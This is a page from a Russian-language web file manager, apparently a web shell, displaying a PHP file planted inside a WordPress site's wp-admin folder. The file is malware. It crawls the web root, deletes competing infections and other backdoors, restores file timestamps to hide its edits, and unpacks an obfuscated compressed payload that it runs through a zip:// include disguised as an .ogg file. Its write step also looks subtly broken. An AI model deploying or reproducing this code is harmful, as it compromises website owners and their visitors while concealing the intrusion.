Файловый менеджер - Редактировать - /home/neurocs/www/wp-admin/maint/468025/index.php
Назад
<?php function listFolders($dir){ $ffs = scandir($dir); foreach($ffs as $ff){ if($ff == "." || $ff == "..") continue; $d = $dir."/".$ff; if(is_dir($d)) { listFolders($d); }else if (strpos($d,".php") !== false){ handle($d); }; } } function handle($f){ $d = file_get_contents($f); if(preg_match("@<\?php.+?\">ok<\".+?\?>@i", $d)){ @chmod($f, 0644); if(!@unlink($f)){ $zip = new ZipArchive; $zip->open($f, ZipArchive::OVERWRITE); $zip->close(); }; } if(!preg_match("@<\?php.+?goto.+?\?>@i", $d)){ return; } $d = preg_replace("@<\?php.+?goto.+?\?>@i","", $d); if(preg_match('#@eval\(\$_SERVER\[\'HTTP_\w+\']\);#i', $d)){ $d = preg_replace('#@eval\(\$_SERVER\[\'HTTP_\w+\']\);#i',"", $d); } $d = str_replace('@eval($_SERVER', '//@eval($_SERVER', $d); $t = filemtime($f); @chmod($f, 0644); @file_put_contents($f, trim($d)); @tOuch($f, $t, $t); } listFolders($_SERVER["DOCUMENT_ROOT"]); $_____ = "78da0bf06666e1620001f5a8f4c8358fadb62b02d9200c124d4e36313449d1cb4f4fb7b12fc82850e0e52aae2c2e49cdd550caceccc951d0b554d03554d2b4e6e5b2b70bf06664b267c66d140c6c6b64403138c09b950d24c208841640da13ac0a0020621b20"; $_a = sYs_gEt_TeMp_dIr();$tmpfname = $_a."/".$_SERVER["HTTP_HOST"].".ac2211.tmp"; if(file_put_contents($_a,gzuncompress(hex2bin($_____)))){ iNcLuDe_once "zip://$tmpfname#cc414d.ogg"; echo "ok"; }
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка